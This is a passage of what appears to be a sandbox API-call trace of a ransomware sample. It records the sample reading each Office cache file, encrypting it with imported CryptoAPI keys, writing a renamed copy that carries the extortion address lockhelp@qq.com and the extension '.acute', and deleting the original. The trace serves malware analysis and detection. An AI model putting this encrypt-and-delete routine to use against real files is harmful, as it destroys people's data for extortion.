0xffffffff [0048.408] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.408] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0048.408] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0048.408] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0048.408] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0048.409] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0048.409] ReadFile (in: hFile=0x1a8, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x5ac, lpOverlapped=0x0) returned 1 [0048.805] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5b0) returned 1 [0048.805] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x5b0, lpOverlapped=0x0) returned 1 [0048.805] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0048.806] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0048.806] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0048.806] CryptDestroyKey (hKey=0x5932e0) returned 1 [0048.806] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0048.806] CryptDestroyKey (hKey=0x5932a0) returned 1 [0048.806] CloseHandle (hObject=0x1a8) returned 1 [0048.806] CloseHandle (hObject=0x1ac) returned 1 [0048.807] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0048.808] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0048.808] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.993] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=913) returned 1 [0048.993] CloseHandle (hObject=0x19c) returned 1 [0048.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0048.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0048.993] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.994] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0048.994] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0048.994] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0048.994] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932a0) returned 1 [0048.994] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0048.994] ReadFile (in: hFile=0x19c, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x391, lpOverlapped=0x0) returned 1 [0049.023] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x3a0) returned 1 [0049.023] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x3a0, lpOverlapped=0x0) returned 1 [0049.024] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0049.024] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.024] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.024] CryptDestroyKey (hKey=0x5932e0) returned 1 [0049.024] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.024] CryptDestroyKey (hKey=0x5932a0) returned 1 [0049.024] CloseHandle (hObject=0x19c) returned 1 [0049.024] CloseHandle (hObject=0x1ac) returned 1 [0049.025] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0049.026] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.026] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.160] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=596341) returned 1 [0049.160] CloseHandle (hObject=0x1a0) returned 1 [0049.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0049.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.160] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.210] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.291] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.358] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0049.489] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0049.489] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.489] ReadFile (in: hFile=0x1a0, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x91975, lpOverlapped=0x0) returned 1 [0049.545] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x91980, dwBufLen=0x91980 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x91980) returned 1 [0049.552] WriteFile (in: hFile=0x1b0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x91980, lpOverlapped=0x0) returned 1 [0049.564] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0049.564] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.564] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.564] CryptDestroyKey (hKey=0x593220) returned 1 [0049.564] WriteFile (in: hFile=0x1b0, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.564] CryptDestroyKey (hKey=0x593260) returned 1 [0049.564] CloseHandle (hObject=0x1a0) returned 1 [0049.564] CloseHandle (hObject=0x1b0) returned 1 [0049.569] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0049.699] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.701] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.715] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=819) returned 1 [0049.715] CloseHandle (hObject=0x178) returned 1 [0049.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0049.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.722] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.728] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.728] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.729] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.729] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0049.729] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.729] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x333, lpOverlapped=0x0) returned 1 [0049.762] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x340, dwBufLen=0x340 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x340) returned 1 [0049.763] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x340, lpOverlapped=0x0) returned 1 [0049.763] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0049.763] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.763] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50) returned 1 [0049.764] CryptDestroyKey (hKey=0x593220) returned 1 [0049.764] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x102, lpOverlapped=0x0) returned 1 [0049.764] CryptDestroyKey (hKey=0x593260) returned 1 [0049.764] CloseHandle (hObject=0x178) returned 1 [0049.764] CloseHandle (hObject=0x1ac) returned 1 [0049.764] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0049.765] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.765] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.766] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=819) returned 1 [0049.766] CloseHandle (hObject=0x1ac) returned 1 [0049.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0049.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.766] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.766] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.766] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.766] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.766] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0049.766] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.766] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x333, lpOverlapped=0x0) returned 1 [0049.771] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x340, dwBufLen=0x340 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x340) returned 1 [0049.771] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x340, lpOverlapped=0x0) returned 1 [0049.772] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593060) returned 1 [0049.772] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.772] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50) returned 1 [0049.772] CryptDestroyKey (hKey=0x593060) returned 1 [0049.772] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x102, lpOverlapped=0x0) returned 1 [0049.773] CryptDestroyKey (hKey=0x593260) returned 1 [0049.773] CloseHandle (hObject=0x1ac) returned 1 [0049.773] CloseHandle (hObject=0x178) returned 1 [0049.773] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0049.775] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.775] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.775] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2624) returned 1 [0049.775] CloseHandle (hObject=0x178) returned 1 [0049.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0049.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.775] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0049.775] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.775] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.776] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.776] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0049.776] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.776] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0xa40, lpOverlapped=0x0) returned 1 [0049.784] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xa50, dwBufLen=0xa50 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xa50) returned 1 [0049.784] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xa50, lpOverlapped=0x0) returned 1 [0049.785] CryptImportKey (in: 